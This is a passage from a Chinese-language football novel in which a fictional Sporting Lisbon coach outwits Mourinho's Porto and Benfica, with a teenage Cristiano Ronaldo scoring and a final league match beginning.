安东尼垂下眼，少年皮肤的温度似乎还残留在指腹上，带来丝丝痒意，他轻轻搓了搓指尖，那热意仿佛一场幻觉，很快消失不见。 随着一声哨响，球赛很快开始了。 安东尼和穆里尼奥分站两边，中间隔着两条白色的线，将他们分开。 同样是年少轻狂，两人不仅都是赫赫有名的战术大师，甚至连穿衣风格都差不多，一身黑色西装三件套，尽显领袖气质，唯一不同的就是安东尼的建模更好，长相身材过于耀眼，衬得另一侧的穆里尼奥面相不善，透着像狐狸一样的狡猾。 “狡猾”的穆里尼奥双手插兜，皮鞋在地上随意的搓弄着昂贵的草皮，丝毫不可怜俱乐部股东们的钱包，目光紧紧缩在球场上。 和安东尼预想的一样，开场第三分钟，波尔图已经开始布局中路，五名中场控制住了里竞核心的大脑——迭戈，左右两路的乔安和保罗见状，只能将球回传给边后卫，来来回回的三角控球，始终无法进入对面半场。 “里竞这是被压制了啊。” 解说员希莱姆流露出一丝遗憾，直接暴露了他里竞球迷的身份。 “不知道斯图亚特有没有留下后手，要知道再这样下去，里竞球员很难保持住平常心。” 没有平常心自然就会失误，除非看似弱势的里竞，其实牢牢掌控着球场的节奏，才能让他们表现得游刃有余。 但怎么可能呢？ 穆里尼奥瞥了眼不远处，某人侧对着他，双脚站在白线之上，践踏着规则的最边界，偏偏脸上挂着温和迷人的笑容，向所有人传递出无害的信号。 明明是只最毒的蛇！ 穆里尼奥深深看了一眼安东尼，不敢小觑这人，可再看场上，波尔图的优势是再显然不过的。 只要里竞不进球，波尔图就会赢。 穆里尼奥没想过光明正大的打法，就是要不断防守，折断对方的攻击，打造出0：0的成绩，让他们的积分优势保持下去。 这残忍吗？穆里尼奥不觉得，设身处地，换做安东尼有领先优势，他相信对方也会这么做的。 都是野心家，谁不知道谁在想什么，他们的目的都只有一个，那就是胜利。 当胜利的奖杯摆在面前，哪个战术是卑鄙的，哪个战术又是高贵的？ 只要再坚持一会儿就好，穆里尼奥抬头看了眼屏幕上的时间，距离上半场结束只有十分钟了。 和时刻紧绷着的穆里尼奥不同，随着时间流逝，安东尼越感觉到轻松。 对方并没有发现里竞正在加强控球。 或者说，发现了却没在意。 不仅是穆里尼奥了解安东尼，安东尼也花费了大量时间偷偷研究对方，他发现不止在几次采访中，对方都对高控球率表现出了不屑，认为控球率高只会加重球员的体能消耗，没有任何实际作用 。 对于防守反攻的打法或许是这样，让对方控球远比自己拿到球后不小心犯了错误好，以不变应万变，确实很高明。 只是有一种情况，穆里尼奥没弄明白，那就是他今天打的可不是防守反攻。 在对方的授意下，波尔图的中场和里竞中场拼抢、身体对抗的幅度越来越大，当波尔图中场德科一个转身后撤，脚下却忽然一滑，摔在地上喘息，胸口剧烈起伏的时候，穆里尼奥后背立刻生起一股凉寒。 坏了。 穆里尼奥意识到自己中计了，里竞前半场并不是什么都没做，正相反，他们在他的眼皮底下，一点点消耗着波尔图中场的体力，进一步谗食掉他们的优势！ 他第一时间挥手朝边线的球员示意，缩减拼抢的强度，确保队长德科和几个中场在按他的指挥行事后，身体转向安东尼。 高大帅气的男人朝他歪头，露出一个笑容。 只听他轻声询问道：“是遇到困难了吗？” “不。” 穆里尼奥缓缓笑了，仰了仰下巴，眼里透着势在必得的自信光芒。 “只是胜利前的一段小波折而已。” 语气云淡风轻。 两人对视了一眼，很快挪开视线，目光盯在球场，神色严峻。 气氛剑拔弩张。 随着波尔图球员收势，一直被压制的里斯本竞技逐渐占据上风，控球达到了极致，足球压过草坪的痕迹连接起来，像是一条无形的丝线，渐渐织成一张密不透风的网。 等待的猎物很快就来了。 第四十一分钟，前锋罗德里戈在前场拿球，高速飞奔，波尔图后卫里卡多、赫尔迈立刻上千拦截，中锋科斯蒂尼亚和德科向后狂奔回防，罗德里戈脚步不停，左脚微微内扣，球被送到斜后方的中路——迭戈和乔安面前。 回防的波尔图中场们立刻转身，却已经失去了拦截的机会，迭戈带球飞奔，一脚长传，将球送回左路。 罗德里戈再次拿球，他过掉身前的后卫，继续前奔，一只脚忽然从斜后方伸出来，横在他大腿前，罗德里戈躲避不及，摔倒在地，向前滚了两圈，表情痛苦极了。 “哔哔！”裁判看过来了。 马里奥站起身，赶紧去把罗德里戈拉起来，对方却像是死皮膏药一样，牢牢地黏在地上，额角青筋鼓胀。 一个战术犯规，又不是恶意伤害，这个厚脸皮的家伙！ 马里奥气的踹了一下草皮，被裁判警告性的看了一眼，考虑到主场优势，最终举起黄牌，给了里竞一个点球。 球场上空瞬间响起愤怒的吼声。 时间刚好来到第四十四分钟。 如果能打入这粒点球，那无疑会给里竞带来巨大的优势，下半场不必再拼命争抢，只需要守好防线，就能顺利拿下客场三分。 如果打不进去，那必然会对高涨的士气造成损害。 里竞球员将目光看向他们的队长——迭戈，没有人比他更有权利去踢这个点球。 在所有人的注视下，迭戈没有走向点球位置，反而看向了斜前方，点了点头。 一时间，所有人纷纷回头。 众目睽睽下，克里斯蒂亚诺走到了白线前，双手叉腰，深深吸了一口气。 心跳像是鼓点，在胸口一下一下的震颤，目光所及，足球在草皮上反射着光，四条白色柱子逐渐模糊，门柱越靠越近，像是没有出口的一条缝。 克里斯蒂亚诺咬紧牙，脸颊肌肉微颤。 他后退几步，助跑、抬腿，紧绷的脚背接触到足球，耳边爆发出劈裂空气的风声。 守门员向左上角扑去，摔落地面。 皮球出现在守门员的身后！ 克里斯蒂亚诺睁大了眼睛，激动地回过头，看台上排山倒海的人流，瞬间爆发出极致的声浪。 “GOALLLLLLL！！！” 解说希莱姆差点把自己喊断气了。 “四十五分钟的博弈后，里斯本竞技打进致命一球，进球来自17岁小将——克里斯蒂亚诺.罗纳尔多！让我们来为他送上祝福，这是他这个赛季以来的第三粒进球，少年英才，力抗重压！他的未来注定前途无量！” 32. 胜利与友谊 下半场比赛毫无悬念，尽管穆里尼奥调整了战术方向，也难掩上半场中场消耗过多的事实。 比赛最终以对方最爱的1：0成绩收场。 哨声吹响的那一刻，安东尼走向白线边，和穆里尼奥握了握手，笑容比开局的时候真诚多了。 穆里尼奥轻哼了一声，想不到他吃了自负的亏，竟然让一直瞧不起的控球给打了脸。 算了，现在吃小亏，总比以后吃大亏好。 调整好心情，穆里尼奥脸色好多了，出声邀请道：“晚上一起喝一杯？” “算了，”安东尼语气云淡风轻，“我怕有波尔图球迷袭击。” “我以为你能扛得住呢。” “我扛得住，你却扛不住。” 穆里尼奥挑了挑眉，很快想明白了，点点头，说：“也是，别让他们误会我是故意输给你的，那太坠我的名声了。” “嗯，”安东尼煞有其事点头，“我可是靠实力。” 呵呵。 穆里尼奥翻了个白眼，转身离开。 不得不说，客场战胜波尔图的滋味棒极了，如果不是因为这里是巨龙球场，里斯本竞技的球员都能把更衣室大门拆下来。 结束赛后采访，安东尼回到更衣室，扫了一眼正在被狗熊疯狂入侵的房间，默默掏出钱包。 他抽出一沓子钞票，递给路过的清洁人员，尴尬的说了句抱歉。 胡子花白的老人沉默了半天，最终接了过来。 临走时，老人多看了他一眼，又看了眼群魔乱舞的更衣室，最终摇摇头，推着车慢悠悠离开了。 什么都没说，却有像什么都说了。 安东尼掩饰性咳了好几声。 脸上的红温消退，他整理了一下衣服，表情平静走进屋内，逡巡了一圈。 坐在沙发上翘脚的乔安高声喊道：“教练你找什么呢？” 大嗓门穿透了屋内的所有喧嚣，一时间，大家的目光都落在了安东尼身上，好奇张望。 “你问我找什么？”安东尼直起身，理了理衣领，说：“我在找奖杯。” “奖杯？” 乔安一愣，哈哈大笑，“这又不是联赛最后一场，教练你过糊涂了吧。” “不是吗？” 安东尼眨了眨眼，无辜道：“我看大家这么开心，还以为奖杯已经到手了呢。” 在这句英式冷嘲热讽落下后，屋内低笑和窃窃私语的声音顿时停了下来。 气氛逐渐转冷。 “我承认今天的你们很棒，”安东尼先表扬了一番大家，“从后卫到前锋，每个人都表现得非常完美，完全按照战术行事，感动得我都快哭出来了。” 这话我们才不信。 球员们纷纷腹诽，嘴角却像是有被杠杆支了起来，难压的很。 “但是，我的先生们，请再冷静冷静.....我们五天后还要踢杯赛呢！” 他拍了拍手，“所有人收拾东西，五分钟后在后门集合。” 安东尼感觉自己就像是幼儿园老师，连哄带骗，终于打消了球员们想要庆祝的念头，球队在波尔图俱乐部停车场停留了一会儿，给粉丝们签名合照后，终于可以返航。 到达里竞俱乐部已经是傍晚，下车前，安东尼不忘勒令每个人今晚必须在12点前睡觉，明天他会检查所有人打哈欠的情况。 一众球员嘻嘻哈哈，并不当回事，直到第二天，教练真的站在训练室，把打着哈欠的队友带到隔壁，凄惨的尖叫声传来，顿时不寒而栗。 差点忘了，教练他的笑可不是真的笑，是张嘴的大白鲨！ 被胜利冲昏头脑的里斯本竞技球员找回神志，又过起老实低调的生活。 杯赛最后一轮，冠军热门选手——波尔图惨被淘汰，本菲卡用1:0的分数，成功将联赛的耻辱摔回对方脸上。 当天晚上，穆里尼奥给安东尼打电话时，他正在和克里斯蒂亚诺辩论，世界杯哪一只球队的表现最令人惊艳。 他说的是58年的巴西队，球王贝利横空出世，多变的战术阵型打的敌人斗志尽失，一路碾压直到夺冠，没有比这一届的巴西队更亮眼的存在了！ 安东尼本以为这是毫无争议的，小孩却非说是86年的葡萄牙队才是最惊艳的。 这答案太离谱了，安东尼忍不住抽出身后的抱枕扔他，笑着骂他盲目。 克里斯蒂亚诺接过抱枕，非常不忿，跳上沙发，为自己的公正证明。 他言之凿凿，“我才不盲目，四分之一决赛对阵朝鲜的时候，葡萄牙队开场25分钟0-3落后。关键时刻，尤西比奥天神下凡，一人连进4球，带领球队5-3逆转获胜，不到最后一刻决不放弃，这难道不是体育精神最好的体现吗？” “足球是团队运动，”安东尼不甘示弱反驳道：“不是尤西比奥这个孤胆英雄的史诗。” “孤单英雄怎么了？如果个人英雄主义能让团队获得胜利，那......” 克里斯蒂亚诺话没说完，安东尼的电话正好响了起来，两人眉头同时一皱。 安东尼抽出电话，摁下接听键，放在耳边，“喂？” “恭喜，”穆里尼奥状似轻松道，“看来你离杯赛冠军又近了一步。” 安东尼一下子就懂了，挑眉道：“你们被本菲卡淘汰了？” 这可真是天赐的好消息，安东尼状似关心道：“真是太可惜了....是有什么突发情况？不会是德科受伤了吧。” “省省你蹩脚的打探吧。” 穆里尼奥呵呵了两声，并不买账。 “我打电话只是想告诉你，”他加重语气，“我已经研究出来你的新阵型的弱点了。” 真话，还是心理战？ 穆里尼奥说话一向没有准，唯有一点是明确的，他打电话就是想扰乱自己的节奏。 安东尼平静无波道：“既然如此，我会在阿尔瓦拉德球场静候你的表演。” 假笑寒暄了两句，安东尼挂断电话，迎上了少年好奇的目光。 他顿了顿，不动声色转移话题，“我们刚刚说到哪了？” “哦，”克里斯蒂亚诺的思绪一下子飞回了刚才，“我说拥有一个领头人对葡萄牙队没有什么不好，就像菲戈......” 少年讲的十分投入，激情澎湃时甚至会站起来手舞足蹈的示范，安东尼微笑着倾听，不时点点头，目光却渐渐出神...... 联赛第三十三轮。 里斯本竞技客场对阵维多利亚塞图巴尔，3：1胜。 波尔图主场对阵圣克拉拉，5：3胜。 里斯本竞技以2分之差，力压波尔图，占据联赛榜首之位。 回想几个月前，安东尼还是第一次执教的比赛，如今已然成了葡超最知名的主帅，这一条路不算是一帆风顺，但也是高歌猛进。 以2：1的分数从本菲卡手里拿下联赛三分，一战成名。 但甩给本菲卡的巴掌，并没消散，随着他名声大噪甚至越来越响亮，媒体时不时就会用战胜本菲卡作为噱头，大肆夸赞那位战术天才，自那以后，本菲卡的全员摩拳擦掌，只等着一个复仇的机会。 终于，机会来了！ 葡萄牙杯决赛，本菲卡对阵里斯本竞技。 卢斯球场数万球迷振臂高呼，场地内飘扬着火红色与绿白色的旗帜，踏进球场的一刻，安东尼脑中立刻浮现起曾经。 他的目光落在看台的东北角，见他的视线扫过来，绿白的狮群发出响亮的吼声，加油呐喊震耳欲聋。 几秒种后，他收回视线，嘴角勾起一抹笑容。 摄像机对准了他迷人的笑脸，像是嫌观众的心跳还不够快，竟然进一步放大投在大屏幕上，引发无数观众的尖叫。 本菲卡的教练撇了撇嘴，向相反的方向迈了几步，一副势与魅魔两立的态度。 安东尼无辜的耸了耸肩。 很快，比赛开始。 和所有人预想的不同，里斯本竞技采用的既不是高位压迫的强攻策略，也不是高节奏的回传控球，而是意式防守。 斯图亚特居然还会打防守战？ 不仅是球迷和解说，就连本菲卡的球员也惊呆了！ 刚开场十几分钟，本菲卡球员就因为思绪飘忽将球一脚踢出了界外，被看台上的球迷们骂的狗血淋头。 迭戈慢悠悠的跑到白线边上，开出一脚短传，不紧不慢回归中路。 到底是什么情况？ 场边，本菲卡的教练狐疑打量了好几次，安东尼始终是面带笑容的扑克脸，他看不出深浅，收回目光沉下心，挥手做了个手势，让球员按照计划的踢。 本菲卡的球员渐渐聚拢在中场，隐约呈现出压迫之势。 自前几次大败，本菲卡总结经验，舍弃了有些老旧的防守攻势，让边后卫的位置前移，方便在有优势的情况下随时前插，支援锋线发起进攻。 多亏安东尼对于4-2-3-1的研究，本菲卡教练借鉴了他的一些战术思想，如今也是练出一支攻防兼备的队伍了！ 本菲卡的球员们信心满满，趁里斯本竞技节奏缓慢，一个劲儿向前压迫，球队如狼似虎的扑上来，二十分钟内发起了十一次进攻，看的现场的球迷直呼过瘾。 安东尼看向场内，表情依旧无动于衷。 一旁的本菲卡教练都要急死了！ 花招也好，里斯本竞技真的状态不佳也好，倒是给他一个进球啊！ 眼看着上半场即将结束，本菲卡球员使出浑身 解数狂轰乱炸，依旧打不进一个球，大家开始仔细观察，场上到底是什么情况？ 经验丰富的解说员希莱姆发现了问题，“里斯本竞技今天的防守线似乎和往日不一样了，他们似乎是有意识的将中路和右边路进球的路线截断了，留下左边路这个破绽。” “怪不得门将彼得六次扑球，由五次都是向右侧扑出去，在左边路想打门，确实应该是向这个方向射门更容易进球。” 如果是往常，球员对射门概率的精准判断没有任何错处，可惜偏偏今天不一样，左边路就是里斯本竞技挖好的陷阱，用慢节奏诱惑着渴望胜利的本菲卡，看着他们往下跳，还是一次又一次！ 本菲卡教练气的猛摔杯子，赶忙传唤队长，让球员们避开左边路，尽量从其他方向打门。 但本菲卡教练显然忘了，左路才是他的明星球员鲁伊·科斯塔和努诺·戈麦斯能发挥作用的地方，飞向左路的传球越少，这两人的作用也就越低。 安东尼暗暗的勾唇。 谁能知道，他其实是声东击西后再次声南击北呢。 下半场，本菲卡的传球大多转移到右路，传球一多，压力也就多了，再加上上半场的强攻，很快，佩帕过人失误，球被后卫迪马斯抢断，一脚挑向中场。 已经压到里竞禁区的本菲卡球员转身回追。 中场，乔安接球，和迭戈配合的边传边跑，将本菲卡后卫晃得一愣一愣的，保罗接到示意，胸口停球后，一个转身，大脚长传，将球捅入禁区。 这球的位置实在是太好，就在中路，罗德里戈前插冲刺，持球飞奔，在门前五米处直接抬脚打门。 左路还是右路？ 门将罗伯特紧张的心脏都要跳出来了，本能的向对方抬脚的方向——左路扑去。 “球去右路了！” 希莱姆大叫道。 这一下子，观众们只能眼睁睁的看着球划出一道漂亮的弧线，砸向球门右上角。 “哔哔——” 球进了，但是里竞。 本菲卡的球迷顿时绷不住了，怒吼着挥舞双臂，叫骂声此起彼伏。 发生在看台上最精彩的事，无疑是敌人的无能狂怒，安东尼抬起头，静静欣赏这美妙的一幕。 距离比赛结束还有二十分钟，但所有人都知道，领先一球的里竞已经是冠军之师了，他们有狡猾的战术，雄厚的体力，最重要的是，一颗没被摧残到崩溃的心！ 或许因为不是第一次在主场被斩杀，本菲卡球员的心态调节的还不错，不用教练骂，就知道将球传向每一个方向，左路也不例外。 可惜诱惑过后，里斯本竞技关上了机会的大门，整整三十分钟，严防死守，抢断后玩起控球，愣是没让本菲卡拿到打门的机会。 好歹还有个杯赛亚军，不像波尔图只混到半决赛，本菲卡球员默默安慰自己。 除此之外他们还有一个期待，希望在联赛的决赛，里竞能碾压波尔图，拿到双冠王。 至少这样以来，他们万年老二的名号也是实至名归了。 赛后，安东尼出席了新闻发布会，闪光灯像是闪光弹似的，他身上的蓝灰色西服都衬成白色了！ 一旁，无人问津的本菲卡教练，双臂环胸，呼出一道重重的鼻息。 安东尼和记者们谈笑风生，余光扫到这一幕，很快收回视线，推拒了身前的麦克风。 他淡声道：“谢谢各位的支持，但我必须要说，今天这一场比赛我们其实打的很艰难，从赛前的战术研究，到场上三次换人的临阵指挥，每一个决定都花费了我和团队的很多精力，请各位不要神话一场比赛的胜利，不过是一点实力和九十九点幸运加持，仅此而已。” 这话说的漂亮得体，作为输家，本菲卡教练脸色好多了。 采访结束后，本菲卡教练喊住了转身离去的安东尼，目光落在对方挺拔的身形，继而看向他转过头后，露出的英俊脸庞。 像是第一次打量对方一样，本菲卡教练看了很久，目光逐渐复杂，缓缓开口。 “谢谢你没落井下石。” “只是实话实说，”安东尼温声道，“您的执教手法确实很老练，有很多值得我学习的地方。” 本菲卡教练噗嗤一笑。 明明彻头彻尾的耍了自己一次，偏偏把话说的这么好听，这个小子真是狡猾极了。 但也奇怪，这么狡猾的家伙，怎么就让人讨厌不起来呢。 笑过后，双鬓花白的教练伸出他的手，“虽然我更喜欢穿polo衫，但西装也不赖。” 安东尼挑了挑眉，伸出手，手掌在空中相交，紧握了一下。 “和您想的一样，我的朋友。” 他一边说着，嘴角勾出浅笑，弧度醉人。 33. 多面的安东尼 里斯本竞技拿下了杯赛的冠军，赛后，主办方找到斯图亚特询问颁奖地点。 一般来说，杯赛冠军颁奖典礼都是在自己的主场举行，当然，有些俱乐部也会协商使用夺冠场地，球员和球迷的兴奋劲儿都没过，正适合颁奖。 但偏偏这场比赛是本菲卡对战里斯本竞技，而球场还是输家的主场，这样的情况就尴尬了，不管是申请使用卢斯球场的请求被对方同意还是拒绝，气氛都不会像正常情况那么好。 安东尼果断选择回自家球场举行颁奖，但时间定在了四天之后。 四天之后？ 负责人一愣，脱口而出：“那不是联赛第三十四轮的日子吗？” 安东尼点点头，似乎没觉得哪里有问题，甚至笑着反问道：“这个时间不可以吗？” “可以是可以....” 负责人小声嘟囔道：“要是里竞输了联赛，岂不是会和波尔图前后脚颁奖了。” 那画面想想就让人头皮发麻。 安东尼到不觉得，语气云淡风轻，“不觉得很有趣吗？不管是输是赢，我们的球迷都能看见球队拿到一个奖杯。” 负责人跟着尬笑了几声，心里想，斯图亚特真是有点疯子属性在身上，难道天才教练的脑回路都是这么不正常么...... 安东尼对自己疯不疯判断不出来，但他觉得穆里尼奥一定是疯了。 哪有人会在三更半夜给对手教练打电话，就为了问他一句睡了吗？要是自己说睡了，他就说我都没睡，为什么你睡了，亏我把你当对手真是让人失望；等第二天自己回答说没睡时，他又说没睡是不是在偷偷研究我的球队，没看出你居然这么怕我，得意的语气藏都藏不住。 两次三番，给安东尼搅合的火气都起来了！ 电话第三次响起，眼疾手快，把对方手机号删除拉黑一条龙，安东尼将手机扔进抽屉里，裹上被子，翻身睡觉。 就在两个球队备战联赛最后一轮的时候，足坛并不太平。 杯赛结束两天，主办方却迟迟没有颁奖，各大媒体纷纷发文质疑，是不是没钱做奖杯，气的葡萄牙足球协会吹鼻子瞪眼。 谁不知道他们葡萄牙杯的传统是“永久流传”奖杯，正版一米多高、将近20公斤的银质奖杯只能由冠军队伍暂时保管，事后会由足协发一个又小又轻的58cm迷你版，给球队当做纪念。 因为这事儿被一堆球迷吐槽，又不是纯金做的，送个正版能多贵，收钱时贪婪，花钱倒是节省。 恼羞成怒的葡萄牙足协立刻在官网首页发布消息——“据悉，我们已和里斯本竞技的主教练斯图亚特沟通，对方要求在5月5日，于阿尔瓦拉德球场内举办葡萄牙杯颁奖仪式，双方已就时间和地点达成友好共识，特此说明。” 5月5日，这不是波尔图大战里竞的日子吗？再加上葡萄牙足协的“对方要求”四个字，所有人都知道是怎么回事了。 斯图亚特的狂人基因又发作了！ 球迷狂喜、媒体狂喜，其余看热闹的葡超球队狂喜，唯一乐不出来的只有波尔图的教练球员和球迷，俱乐部从上到下所有人。 教练办公室内，穆里尼奥看着白板上眼花缭乱的战术，缓缓眯起眼。 * 眼看着一冠到手，教练却没有提颁奖仪式，里斯本竞技全员心知还不是自己该庆祝的时候，纷纷夹紧骄傲的屁股，每天不问世事，一心埋头训练。 这番刻苦的场景让安东尼十分感动，于是在比赛前两天，等训练结束后宣布了一个好消息，今晚他来宴请大家。 团体聚餐，这个赛季以来还是第一次。 如果说是和瓦尔克、劳伦佐这种权威代表聚餐，球员们一定是又高兴又苦恼，但和安东尼，那就只剩下高兴了，离开球场的教练从不说教，可比前两位有趣多了！ 更衣室传出鬼哭狼嚎的欢呼声。 安东尼倚在门边，嘴角含笑，目光从每一个人的脸上滑过，心里明白，后天的联赛恐怕是大部分人最后一次在他手下作战了。 就在刚刚，富瓦克找他去办公室。 男人这次没有窝在椅子上，而是站在窗边，一身暗红色的西装，表情难得严肃。 他说：“你或许认为我是在危言耸听，但时代也已经变了，给教练转会权，这对于一个想要健康经济生态的俱乐部来说，无疑是自杀式的决定。” “就连为曼联创造了十多年辉煌岁月的弗格森，也面临过被董事会集体弹劾，要剥夺他的转会投票权，还为此起有摩擦。” 富瓦克放柔声音，“我的朋友，你已经用实力证明了你当教练的才能，至于球员的买卖、转会，就让更专业的人去做吧。” “只要你愿意，我随时可以跟你签下五年的合同，你的薪水和奖金，我也可以给你提高到120%。” 这样的数额就是在英冠俱乐部，都是平均值以上的水平了，可见里斯本竞技是下了血本决心要留下斯图亚特。 安东尼心里有些动容，但很快就冷静了下来。 一个没有转会权的教练，不过是个任人宰割的傀儡，根本做不到对更衣室的绝对权利。 他缓缓开口：“转会权，这是我的底线，至于俱乐部能拨出多少钱给我，这一项可以根据每年盈利来调整。” “你就非要这个转会权么！”富瓦克第一次这么愤怒，“清醒些吧，转会权是董事会最大的筹码，除非走投无路，谁会让教练把持权利呢？” 安东尼沉默了一会儿，点点头。 富瓦克松了口气，再次扬起笑容，就听见对面说：“我该去找走投无路的球队谈一谈。” “......” 两人的交谈戛然而止，堪称是不欢而散。 临出门前，办公室内响起一道幽幽的声音。 “斯图亚特，我一直都看不透你.....” “或许你的坚持是有意义的，或许没有.....总之，里斯本竞技不能为你而破例，我很抱歉，新的主帅会在下周接任你的位置.....” 安东尼脚步一顿，再次迈开脚，没有回头。 * 时间一晃而逝，很快来到了五月五号，葡萄牙联赛的第三十四轮。 联赛最后一轮，偏偏两个冠军预备役的球队出现在同一场比赛中，这样十年难遇的情形，简直是上帝的奇迹！ 葡萄牙人早在一个月前，就在期待这场比赛。 不少家庭从外地驱车赶来里斯本，形形色色的人们穿着绿白和火红球衣、手拿条幅和加油棒，从四面八方的街道鱼贯而出，汇聚在阿尔瓦拉德球场前，排队等待检票。 此时此刻，安东尼正在给他的球员们做心理辅导。 面对如此特殊的一场比赛，没有人会说他没有压力，就连安东尼也得承认，这几天他心头的火气旺盛的厉害，回家就将自己关在书房，一呆就是呆到半夜，脑子里却只有一片空白。 但作为教练，他是球员的风向标，是一杆永不坠落的旗帜，决不能显露出半点的焦虑，他必须是最无畏、最强大的那一个。 安东尼走进更衣室，往日拥挤狭窄的房间，竟然显得格外宽阔，球员们靠在一侧，或俯身整理柜子，或低头擦球鞋，所有人表情严肃，屋内寂静无声。 “教练？” 迭戈第一时间注意到他的出现，眼底浮现出惊喜，立刻起身向他走来，“您不是去vip包厢接待马代尔先生他们了吗？” 联赛的收官之战，又是两个夺冠球队的较量，葡萄牙足协的主席吉尔伯托·马代尔早早就来到了阿尔瓦拉德球场，点名要斯图亚特这个足坛红人作陪。 安东尼耸了耸肩，“原谅我太想念你们，只能临时毁约，辜负那位先生了。” “天呐，那可是足协主席。” “这样做真的没关系吗？” “足协不会报复性的给我们个假的奖杯吧.....” 球员们瞬间围了上来，嘴上说着关切的话，除了说胡话的乔安被迭戈一巴掌拍在脑袋上，每个人的脸上都露出了笑容，眼睛紧紧盯着中间的男人，显然也是希望他在这个时候出现的。 安东尼环顾一圈，“克里斯蒂亚诺呢？” “他去接佩德罗了，”迪马斯低声道，“康复医院打电话说佩德罗今天早早就做完了训练。” 安东尼点点头。 “我知道你们不需要我，”安东尼故意说道，“但为了让我这个教练显得尽职一些，让我们聊一聊吧，谁有心理问题，哪怕只是微小的一米米， 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“客场更衣室很漂亮，没有其他俱乐部的双标规格，”安东尼说，“柔软的沙发椅、长方形的玻璃桌、就连你们扔臭袜子、脏内裤的篓，都和这个屋子一样。” 不少人脸皮瞬间涨红了。 “这么细致的待遇，波尔图会觉得舒服吗？” 安东尼看着球员们懵懂的点着脑袋，长叹一口气，大声道：“当然不会！” “客场更衣室越好，他们就越是会回想起巨龙球场，想起他们自己的更衣室哪里更好或者哪里更差，想起上一次输球，想起隔着两个房间的我们，说不定享受着比他们还好的待遇。” “别的我不敢说，但我保证，你们有多紧张，波尔图的球员就会比你们还紧张一万倍。” “别忘了，这是我们的主场，而我们比他们还多两个积分。” 明明是摆在眼前的事实，可被安东尼这么一说就显得格外有道理，球员们陷入了沉思，回过劲儿后，顿时喜笑颜开。 是啊，他们紧张的一晚上睡不着觉，波尔图的球员估计从输球开始就没睡过好觉了吧，说不定都长熊猫眼了！ 有人说出这个比喻，引得屋内哈哈大笑。 恰好此时，门口传来脚步声，克里斯蒂亚诺推门而入，十几双兴奋的眼睛朝他看来，他愣了一下，回过神，弯腰往屋内钻，飞快让出门口的位置。 几秒种后，拄着拐杖的高大青年出现在大家面前——正是佩德罗。 一时间，所有人都围了过去，亲亲密密的和佩德罗说话，青年一时难以应答所有人的热情，脑袋像个拨浪鼓左转右转，脸上写满了局促。 被众人掠过的安东尼站在外围，看着这温馨的一幕，眼里露出一丝笑意。 谁能知道温和的佩德罗，会是那么倔强呢？ 最开始做康复训练，一组过后，青年累的趴在器材上剧烈喘息，汗水顺着脑门向下淌，整个人像是刚从水里捞出来一样，过度使用的小腿肌肉不住的颤抖，可他仍然不放弃，咬着唇，一声不吭进行下一组训练。 安东尼看在眼里，没有劝阻，只是每个周六的上午默默出现在训练室，和佩德罗对视一眼，靠在墙边，直到对方做完训练后才离开，就这样过了两个月，彼此心照不宣。 佩德罗是努力的，也是幸运的。 前天，医生给出了肯定的答复，他一定能在今年的夏天回到球队，像以前一样驰骋球场。 恰好那天，安东尼来到医院，邀请佩德罗回到阿尔瓦拉德球场观看比赛。 青年还在犹豫，安东尼缓缓开口：“不管是站在球场上意气风发踢球，还是坐在台下观看比赛，你都是俱乐部荣誉的缔造者。” 佩德罗抬起头，对上一双冰蓝色的眼睛，一团乱麻的心忽然静了下来。 “你不该做一个无名的英雄，佩德罗。” 声音像是低沉的耳语，深夜里，佩德罗的脑海中反复循环着教练的话语，眼皮一沉，渐渐进入梦乡。 他朦朦胧胧的想，明明和自己一样大，为什么教练说的话，就带着一股让人安心的气息呢？ 34. 联赛决战！ 当里斯本竞技全员迈出球员通道时，排山倒海般的呐喊声，几乎将他们淹没。 阿尔瓦拉德球场，现代化的装修简约又不失格调，这里的座位、屏幕、脚下的草皮，就连风都是里竞球员熟悉的味道。 当重新踏入这块儿领地，里斯本竞技全员紧张的心情一下就散了。 他们站在场地边缘热身、互相传接球，不理外物，表情专注认真，每个眼神都写满了对胜利的野心。 《葡萄牙体育》以及世界各地的其他频道正在转播这场比赛，电视收视率直线飙升。 开局照例是希莱姆介绍两队的首发球员，常看葡超的观众早就熟悉这些名字了，心不在焉的听着，直到屏幕上画面转变，立刻打起精神。 来了！是熟悉的斯图亚特单人镜头！ 不知道什么时候开始，联赛的摄像师养成了这个习惯，在解说员希莱姆介绍完两队情况后，仔细拍一拍这位赫赫有名的英俊少帅。 或许是了解这个惯例，今天的安东尼在穿搭上用了不少小心思，墨绿暗纹西装搭配白色衬衫，领带是鲜艳的草绿格纹，这是典型的里斯本竞技配色，心形的红宝石领带夹如点睛之笔，既是装饰又像是他的某种暗示——里斯本竞技终将夺冠。 当然，他的穿搭不算高调，就在几米之隔，一道熟悉的身影朝他走来，安东尼偏头看去，差点维持不住脸上的假笑。 他挑了挑眉，沉吟了一会儿，道：“如果不是认识你，我会以有人从杀人现场跑出来为由，打电话报警。” 穆里尼奥理了理自己的衣袖，暗红色西装在阳光下泛着明艳的光泽，随着他的动作，胸口的红色方巾冒出头角。 他淡定道：“哦，那我必须要让警官好好看看你的鞋底，你分明是我的共犯。” 安东尼收了收脚，亮面皮鞋下的大红底一闪而逝，贴向地面。 两人“唇枪舌剑”的画面，被放在大屏幕上，听不起他们说什么的观众看着他们“交谈甚欢”的模样，在心里感叹：年少英才，果然会惺惺相惜。 两个主教练很快回归各自的白线区域。 希莱姆以一句玩笑开场，“安东尼又又又踩在白线上了，旁边的裁判虎视眈眈，似乎也对斯图亚特喜欢‘擦边’早有耳闻，如此精准的脚尖控制能力真是让人羡慕。” “好了让我们回到正轨，”希莱姆正经道，“裁判已经吹哨了，两边的静态阵容，是典型的5-3-2对阵3-4-3。” “实在是令人惊讶，两边的教练仿佛灵魂对换了，喜爱进攻的斯图亚特选择了铁桶防守阵型，而钟爱防守的穆里尼奥选择的却是最具冒险精神的高位压迫打法。” “从这儿我们也能看出两个教练的心态不一样，想要获得联赛冠军，前者只需要守住平局，而后者却要努力多灌进一个球，显然，两人都根据现况，做出了最聪明的选择。” 现场的球迷从没有这么兴奋过，要知道，3-4-3阵型是90年代最具冒险精神和观赏性的阵型，攻击点极多，旨在用进攻压倒一切。 当年克鲁伊夫就是凭借这个阵型，打造了巴萨罗那的“梦之队”，见证了他们夺得西甲四连冠的奇迹。 而今天，波尔图能否通过击穿里斯本竞技的防线，让这个阵型重返巅峰呢？ 开局才五分钟，一切都是未知数，但不妨碍球迷们燃起激情，加油声此起彼伏，自看台西方，一群球迷双手高举绿色雄狮条幅，做出了一条又宽又长的人浪，彻底点燃了现场的氛围。 安东尼见到这一幕，表情有些惊讶。 “这都不算什么。” 